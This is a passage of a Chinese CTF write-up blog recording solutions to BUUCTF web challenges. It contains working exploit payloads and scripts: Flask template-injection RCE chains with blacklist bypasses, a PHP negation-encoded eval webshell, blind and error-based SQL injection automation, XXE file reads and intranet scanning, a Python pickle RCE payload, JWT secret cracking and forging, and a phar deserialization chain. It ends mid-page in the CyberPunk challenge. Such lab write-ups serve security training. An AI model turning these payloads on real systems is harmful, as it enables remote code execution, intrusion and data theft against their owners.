buuctf Web 刷题记录 3
参考:
php反序列化从入门到放弃(入门篇)
SSTI(模板注入)漏洞(入门篇)
[GYCTF2020]FlaskApp 观察hint
猜测在decode
界面可以报错,输入a
解密即可得到/app/app.py
部分代码
@app.route('/decode' ,methods=['POST' ,'GET' ] ) def decode (): if request.values.get('text' ) : text = request.values.get("text" ) text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}" .format (text_decode.decode()) if waf(tmp) : flash("no no no !!" ) return redirect(url_for('decode' )) res = render_template_string(tmp)
掏出祖传payload
(base64
加密后去解密界面输入即可)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/app/app.py', 'r').read() }}{% endif %}{% endfor %}
得到源码
from flask import Flask,render_template_stringfrom flask import render_template,request,flash,redirect,url_forfrom flask_wtf import FlaskFormfrom wtforms import StringField, SubmitFieldfrom wtforms.validators import DataRequiredfrom flask_bootstrap import Bootstrapimport base64app = Flask(__name__) app.config[& bootstrap = Bootstrap(app) class NameForm (FlaskForm ): text = StringField(& submit = SubmitField(& class NameForm1 (FlaskForm ): text = StringField(& submit = SubmitField(& def waf (str ): black_list = [& & for x in black_list : if x in str .lower() : return 1 @app.route(& def hint( ): txt = & return render_template(& @app.route(& def encode( ): if request.values.get(& text = request.values.get(& text_decode = base64.b64encode(text.encode( ) ) tmp = & res = render_template_string(tmp ) flash(tmp ) return redirect(url_for(& else : text = & form = NameForm(text ) return render_template(& @app.route(& def decode( ): if request.values.get(& text = request.values.get(& text_decode = base64.b64decode(text.encode( ) ) tmp = & if waf(tmp ) : flash(& return redirect(url_for(& res = render_template_string(tmp ) flash( res ) return redirect(url_for(& else : text = & form = NameForm1(text ) return render_template(& @app.route(& def not_found(name ): return render_template(& if __name__ == & app.run(host=&
存在waf
def waf (str ): black_list = ["flag" ,"os" ,"system" ,"popen" ,"import" ,"eval" ,"chr" ,"request" , "subprocess" ,"commands" ,"socket" ,"hex" ,"base64" ,"*" ,"?" ] for x in black_list : if x in str .lower() : return 1
稍微拼接下字符即可绕过,先查看目录
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
发现this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva'+'l' in b.keys() %} {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
也可以直接读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt', 'r').read() }}{% endif %}{% endfor %}
还有一种计算Pin
码的方法可以参考这篇博客
[极客大挑战 2019]RCE ME <?php error_reporting (0 );if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (strlen ($code )>40 ){ die ("This is too Long." ); } if (preg_match ("/[A-Za-z0-9]+/" ,$code )){ die ("NO." ); } @eval ($code ); } else { highlight_file (__FILE__ ); }
无数字字母RCE,使用取反查看phpinfo
/?code=(~%8F%97%8F%96%91%99%90)();
发现禁用了很多函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
写个马进去
<?php error_reporting (0 );echo urlencode (~'phpinfo' ).PHP_EOL;echo urlencode (~'assert' ).PHP_EOL;echo urlencode (~'(eval($_POST[a]))' ).PHP_EOL;?>
使用
GET: /?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6); POST: a=phpinfo();
蚁剑连接,然后使用绕过disable_functions
中的PHP7 GC with Certain Destructors UAF 进入终端,执行根目录下的readflag
即可
[WUSTCTF2020]颜值成绩查询 布尔盲注即可(注意空格被ban
了,一开始没看出来,无语住了。。)flag
在value
字段
import requestsimport reimport timeurl = "http://7e9f4e5b-51f8-45c5-b8fc-2269fcfbdfa7.node4.buuoj.cn:81/" flag = '' for i in range (1 ,60 ): l = 32 r = 127 while l < r: mid = (l+r)>>1 if (mid==l): flag += chr (mid) print (flag) break params = { "stunum" :"if(ascii(substr((select/**/group_concat(value)/**/from/**/flag),{},1))<{},1,2)" .format (i,mid) } time.sleep(0.1 ) response = requests.get(url=url,params=params) if "admin" in response.text: r = mid else : l = mid if flag[-1 ] == ' ' or flag[-1 ] == '}' : break
[MRCTF2020]套娃 查看源码发现
$query = $_SERVER ['QUERY_STRING' ]; if ( substr_count ($query , '_' ) !== 0 || substr_count ($query , '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET ['b_u_p_t' ] !== '23333' && preg_match ('/^23333$/' , $_GET ['b_u_p_t' ])){ echo "you are going to the next ~" ; }
空格、+
、[
会被转化为_
,传入下面的参数发现secrettw.php
查看源码发现jsfuck,直接控制台解码或者用该工具 ,得到post me Merak
,传参后获得源码
<?php error_reporting (0 ); include 'takeip.php' ;ini_set ('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST ['Merak' ])){ highlight_file (__FILE__ ); die (); } function change ($v ) { $v = base64_decode ($v ); $re = '' ; for ($i =0 ;$i <strlen ($v );$i ++){ $re .= chr ( ord ($v [$i ]) + $i *2 ); } return $re ; } echo 'Local access only!' ."<br/>" ;$ip = getIp ();if ($ip !='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip ;if ($ip === '127.0.0.1' && file_get_contents ($_GET ['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change ($_GET ['file' ]);echo file_get_contents (change ($_GET ['file' ])); }?>
先用Client-ip: 127.0.0.1
过掉对ip
的判断,然后用php://input
传入对应字符串到23333
,最后用下面的代码生成flag.php
对应的字符串
<?php function dechange ($v ) { $re = '' ; for ($i =0 ;$i <strlen ($v );$i ++){ $re .= chr ( ord ($v [$i ]) - $i *2 ); } $payload = base64_encode ($re ); return $payload ; } $s = "flag.php" ;echo dechange ($s );
最终payload
/secrettw.php?file=ZmpdYSZmXGI=&2333=php://input POST: todat is a happy day Headers: Client-ip: 127.0.0.1
[FBCTF2019]RCEService 打开发现要输入json
格式命令,试了试发现下面这个可以
然后一通试也试不出来,搜了下wp发现大家都有源码是吧。。。
<?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
方法一 用换行去过掉正则
/?cmd={%0a"cmd":"ls /home/rceservice"%0a} /?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
这里cat用绝对路径是因为代码开头的putenv改变了环境变量
方法二 借鉴p牛的PCRE
import requestsurl = 'http://b674a78d-a4b4-415f-be11-4c3c97552e20.node4.buuoj.cn:81' payload = '{"cmd":"/bin/cat /home/rceservice/flag","evo":"' + 'a' * 1000000 + '"}' response = requests.post(url=url,data={"cmd" :payload}) print (response.text)
[Zer0pts2020]Can you guess it? 点击查看源码
<?php include 'config.php' ; if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); } if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); } $secret = bin2hex (random_bytes (64 ));if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if (hash_equals ($secret , $guess )) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } } ?> <!doctype html> <html lang="en" > <head> <meta charset="utf-8" > <title>Can you guess it?</title> </head> <body> <h1>Can you guess it?</h1> <p>If your guess is correct, I'll give you the flag.</p> <p><a href="?source">Source</a></p> <hr> <?php if (isset($message)) { ?> <p><?= $message ?></p> <?php } ?> <form action="index.php" method="POST"> <input type="text" name="guess"> <input type="submit"> </form> </body> </html>
漏洞点在basename
处,利用这里可以实现文件任意读,参考烨的博客
/index.php/config.php/啊?source
[CISCN2019 华北赛区 Day1 Web2]ikun 查看源码
...... <p class ="zhenai" > ikun们冲鸭,一定要买到lv6!!!</p >
应该是要买lv6
,写个脚本找一下
import requestsimport reurl = "http://6c7b4416-241f-4745-b73c-80387ced6729.node4.buuoj.cn:81/shop" i = 1 while (True ): params = { "page" :i } response = requests.get(url=url,params=params) if "lv6.png" in response.text: print (i) break i+=1
在181
页发现,也就是/info/1624
,注册个帐号购买,发现直接买钱不够。观察下买别的商品发现存在discount
,故直接修改折扣即可,注意一下要POST
的是shopcar
页面,发现提示
访问后提示只准admin
访问,发现jwt
字段,爆破一下
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.B-OZYHuG5HRg_eOm_FujDz6VVR6xpA1ENW4jZ5D4qxo Secret is "1Kun"
用1kun
伪造一下
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
源码发现
<a href ="/static/asd1f654e683wq/www.zip" > <span style ="visibility:hidden" > 删库跑路前我留了好东西在这里</span > </a > <div class ="ui segments center padddd" >
下载下来进行审计,在Admin.py
中发现有pickle.loads
class AdminHandler (BaseHandler ): @tornado.web.authenticated def get (self, *args, **kwargs ): if self.current_user == "admin" : return self.render('form.html' , res='This is Black Technology!' , member=0 ) else : return self.render('no_ass.html' ) @tornado.web.authenticated def post (self, *args, **kwargs ): try : become = self.get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self.render('form.html' , res=p, member=1 ) except : return self.render('form.html' , res='This is Black Technology!' , member=0 )
没什么过滤,直接编写exp
,注意是python2
import pickleimport urllibclass payload (object ): def __reduce__ (self ): return (eval , ("__import__('os').popen('cat /flag.txt').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a) print a
打一下
become=c__builtin__%0Aeval%0Ap0%0A%28S%22__import__%28%27os%27%29.popen%28%27cat%20/flag.txt%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
[CSCCTF 2019 Qual]FlaskLight 禁用了globals
的ssti
,拼接一下就好
/?search={{().__class__.__base__.__subclasses__()[71].__init__['__glo'%2b'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
可以看下源码
from flask import Flask, request, render_template_string, abort app = Flask(__name__) app.secret_key = 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}' result = ["CCC{Fl49_p@l5u}" , "CSC CTF 2019" , "Welcome to CTF Bois" , "CCC{Qmu_T3rtyPuuuuuu}" , "Tralala_trilili" ] @app.route("/" ) def search (): global result blacklist = ['url_for' , 'listdir' , 'globals' ] search = request.args.get('search' ) or None if search is not None : for black in blacklist: if black in search: abort(500 ) if search in result: result = search return render_template_string('''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>''' % (search, result)) elif search == None : return render_template_string('''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3><br> <!-- Parameter Name: search --> <!-- Method: GET --> </body> </html>''' % (search, result)) else : result = [] return render_template_string('''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>''' % (search, result)) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=9000 )
ban
掉了url_for
, listdir
和globals
[WUSTCTF2020]CV Maker 注册个帐号进去点上传
发现
Warning: exif_imagetype (): Filename cannot be empty in /var /www/html/profile.php on line 76
发现是exif_imagetype
判断文件类型,并且对后缀没限制,直接加个GIF89a
的头上传个🐎然后蚁剑连接即可
[GWCTF 2019]枯燥的抽奖 点击一下看到源码
<?php header ("Content-Type: text/html;charset=utf-8" );session_start ();if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand (0 ,999999999 );} mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } $str_show = substr ($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source ("check.php" );
爆破随机数的seed
,给了字符串pZJjZcS0nS
,写个脚本转换下格式
s1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' s2 = 'pZJjZcS0nS' res = '' for i in s2: index = s1.find(i) res += str (index) + ' ' + str (index) + ' ' + '0' + ' ' + str (len (s1)-1 ) + ' ' print (res)
使用php_mt_seed
工具爆破下
time ./php_mt_seed 15 15 0 61 61 61 0 61 45 45 0 61 9 9 0 61 61 61 0 61 2 2 0 61 54 54 0 61 26 26 0 61 13 13 0 61 54 54 0 61
得到653247404
,进行预测
<?php $seed = 653247404 ;mt_srand ($seed );$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } echo $str ;?>
[NCTF2019]True XML cookbook 存在xxe
POST /doLogin.php HTTP/1.1 Host : c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81Content-Length : 185Accept : application/xml, text/xml, */*; q=0.01X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Content-Type : application/xml;charset=UTF-8Origin : http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81Referer : http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : close<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE evo1 [ <!ENTITY flag SYSTEM "file:///proc/net/fib_trie" > ]> <user > <username > &flag; </username > <password > c</password > </user >
一些常用内网探测
/proc/net/fib_trie /proc/net/arp /etc/hosts /proc/net/tcp /proc/net/udp /proc/net/dev
发现10.244.80.165
,爆破一下即可
import requestsimport reburp0_url = "http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81/doLogin.php" burp0_headers = {"Accept" : "application/xml, text/xml, */*; q=0.01" , "X-Requested-With" : "XMLHttpRequest" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" , "Content-Type" : "application/xml;charset=UTF-8" , "Origin" : "http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81" , "Referer" : "http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81/" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } for i in range (0 ,256 ): burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?> <!DOCTYPE evo1 [\r\n<!ENTITY flag SYSTEM \"http://10.244.80.{}\"> \r\n]> \r\n\r\n<user><username>\r\n&flag;\r\n</username><password>c</password></user>\r\n" .format (i) try : response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=1 ) print ("[+]====>" +str (i)) if "flag{" in response.text: print (re.findall(r'flag{.*}' ,response.text)[0 ]) break except : print ("[-]" +str (i))
[RCTF2015]EasySQL 取一个奇怪的用户名a\'"
和密码``a'“然后去
/changepwd.php`修改密码出现下述报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a\' "" and pwd= 'a9d4759436b444ab83901f92c14d9208'' at line 1
是个二次注入并且有报错,并且根据前面的报错可以猜测出部分语句
where username= "xxxx" and pwd= 'xxxx'
测试发现有些字符被ban
掉了
空格、and、/**/、substr、left、right、mid
进行报错注入即可,为了方便简单写了个脚本
import reimport requestsurl = 'http://99ee8eb9-e380-4cab-bba4-698d7d6bf05b.node4.buuoj.cn:81/' burp0_headers = {"Cache-Control" : "max-age=0" , "Upgrade-Insecure-Requests" : "1" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } def register (username ): session = requests.session() burp0_url = url + "register.php" burp0_cookies = {"PHPSESSID" : "kdm54kkheudhtcvk7mmt5eqbe0" } burp0_data = {"username" : username, "password" : "a" , "email" : "a" } r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) if "success" in r.text: print ("[+]Success!username:" +username) elif "exist" in r.text: print ("[+]Success!user exists!username:" +username) else : print ("[-]Error!\n" ,r.text) def login (username ): session = requests.session() burp0_url = url + "login.php" burp0_data = {"username" : username, "password" : "a" } r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, allow_redirects=False ) PHPSESSID = re.findall(r'PHPSESSID=(.*);' ,r.headers["Set-Cookie" ])[0 ] if PHPSESSID: print ("[+]PHPSESSID=" +PHPSESSID) return PHPSESSID else : print ("[-]Fail!\n" +r.headers+'\n' +r.text) return '' def changepwd (PHPSESSID ): session = requests.session() burp0_url = url + "changepwd.php" burp0_cookies = {"PHPSESSID" : PHPSESSID} burp0_data = {"oldpass" : "a" , "newpass" : "a" } r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) res = re.findall(r'XPATH syntax error:(.*)' ,r.text)[0 ] return "[+]" +res def getflag (): username = "-1\"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^f'))),0x7e),1))#" register(username) PHPSESSID = login(username) flag1 = changepwd(PHPSESSID)[6 :17 ] username = "-1\"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^f')))),0x7e),1))#" register(username) PHPSESSID = login(username) flag2 = changepwd(PHPSESSID)[6 :-1 ] print (flag1+flag2[::-1 ]) if __name__ == '__main__' : getflag()
[CISCN2019 华北赛区 Day1 Web1]Dropbox 随便传一个gif发现有下载按钮,直接下载/var/www/html
目录下的文件
index.php <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } ?> <!DOCTYPE html> <html> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <title>网盘管理</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet" > <link href="static/css/panel.css" rel="stylesheet" > <script src="static/js/jquery.min.js" ></script> <script src="static/js/bootstrap.bundle.min.js" ></script> <script src="static/js/toast.js" ></script> <script src="static/js/panel.js" ></script> </head> <body> <nav aria-label="breadcrumb" > <ol class ="breadcrumb "> <li class ="breadcrumb -item active ">管理面板</li > <li class ="breadcrumb -item active "><label for ="fileInput " class ="fileLabel ">上传文件</label ></li > <li class ="active ml -auto "><a href ="#">你好 <?php echo $_SESSION ['username ']?></a ></li > </ol > </nav > <input type ="file " id ="fileInput " class ="hidden "> <div class ="top " id ="toast -container "></div > <?php include "class .php ";$a = new FileList ($_SESSION ['sandbox ']); $a ->Name (); $a ->Size (); ?>
login.php <?php session_start ();if (isset ($_SESSION ['login' ])) { header ("Location: index.php" ); die (); } ?> <!doctype html> <head> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <meta name="description" content="" > <title>登录</title> <!-- Bootstrap core CSS --> <link href="static/css/bootstrap.min.css" rel="stylesheet" > <style> .bd-placeholder-img { font-size: 1.125 rem; text-anchor: middle; } @media (min-width : 768 px) { .bd-placeholder-img-lg { font-size: 3.5 rem; } } </style> <!-- Custom styles for this template --> <link href="static/css/std.css" rel="stylesheet" > </head> <body class ="text -center "> <form class ="form -signin " action ="login .php " method ="POST "> <h1 class ="h3 mb -3 font -weight -normal ">登录</h1 > <label for ="username " class ="sr -only ">Username </label > <input type ="text " name ="username " class ="form -control " placeholder ="Username " required autofocus > <label for ="password " class ="sr -only ">Password </label > <input type ="password " name ="password " class ="form -control " placeholder ="Password " required > <button class ="btn btn -lg btn -primary btn -block " type ="submit ">提交</button > <p class ="mt -5 text -muted ">还没有账号? <a href ="register .php ">注册</a ></p > <p class ="text -muted ">© ; 2018-2019</p > </form > <div class ="top " id ="toast -container "></div > </body > <script src ="static /js /jquery .min .js "></script > <script src ="static /js /bootstrap .bundle .min .js "></script > <script src ="static /js /toast .js "></script > </html > <?php include "class .php ";if (isset ($_GET ['register '])) { echo "<script>toast('注册成功', 'info');</script>" ; } if (isset ($_POST ["username" ]) && isset ($_POST ["password" ])) { $u = new User (); $username = (string ) $_POST ["username" ]; $password = (string ) $_POST ["password" ]; if (strlen ($username ) < 20 && $u ->verify_user ($username , $password )) { $_SESSION ['login' ] = true ; $_SESSION ['username' ] = htmlentities ($username ); $sandbox = "uploads/" . sha1 ($_SESSION ['username' ] . "sftUahRiTz" ) . "/" ; if (!is_dir ($sandbox )) { mkdir ($sandbox ); } $_SESSION ['sandbox' ] = $sandbox ; echo ("<script>window.location.href='index.php';</script>" ); die (); } echo "<script>toast('账号或密码错误', 'warning');</script>" ; } ?>
class.php <?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } } ?>
download.php <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; } ?>
delete.php <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename )) { $file ->detele (); Header ("Content-type: application/json" ); $response = array ("success" => true , "error" => "" ); echo json_encode ($response ); } else { Header ("Content-type: application/json" ); $response = array ("success" => false , "error" => "File not exist" ); echo json_encode ($response ); } ?>
审计完后发现是个phar
反序列化,触发点在delete.php
<?php class User { public $db ; } class FileList { private $files ; public function __construct ($filename ) { $this ->files = array ($filename ); } } class File { public $filename ; } @unlink ("test.phar" ); $phar = new Phar ("test.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$a = new User ();$b = new File ();$b ->filename = "/flag.txt" ;$c = new FileList ($b );$a ->db = $c ;$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "evo1ution" ); $phar ->stopBuffering ();?>
得到的test.phar
直接改后缀变成test.jpg
上传,不要抓包修改,会出问题,然后发包即可
/delete.php POST: filename=phar://test.jpg
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 查看源码有提示<!--?file=?-->
,直接用filter
去读源码
index.php <?php ini_set ('open_basedir' , '/var/www/html/' );$file = (isset ($_GET ['file' ]) ? $_GET ['file' ] : null );if (isset ($file )){ if (preg_match ("/phar|zip|bzip2|zlib|data|input|%00/i" ,$file )) { echo ('no way!' ); exit ; } @include ($file ); } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <title>index</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <h2 >2077发售了,不来份实体典藏版吗?</h2 > <img class ="logo " src ="./assets /img /logo -en .png "><!--LOGOLOGOLOGOLOGO --> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <h3 >提交订单</h3 > <form role ="form " action ="./confirm .php " method ="post " enctype ="application /x -www -urlencoded "> <p > <h3 >姓名:</h3 > <input type ="text " class 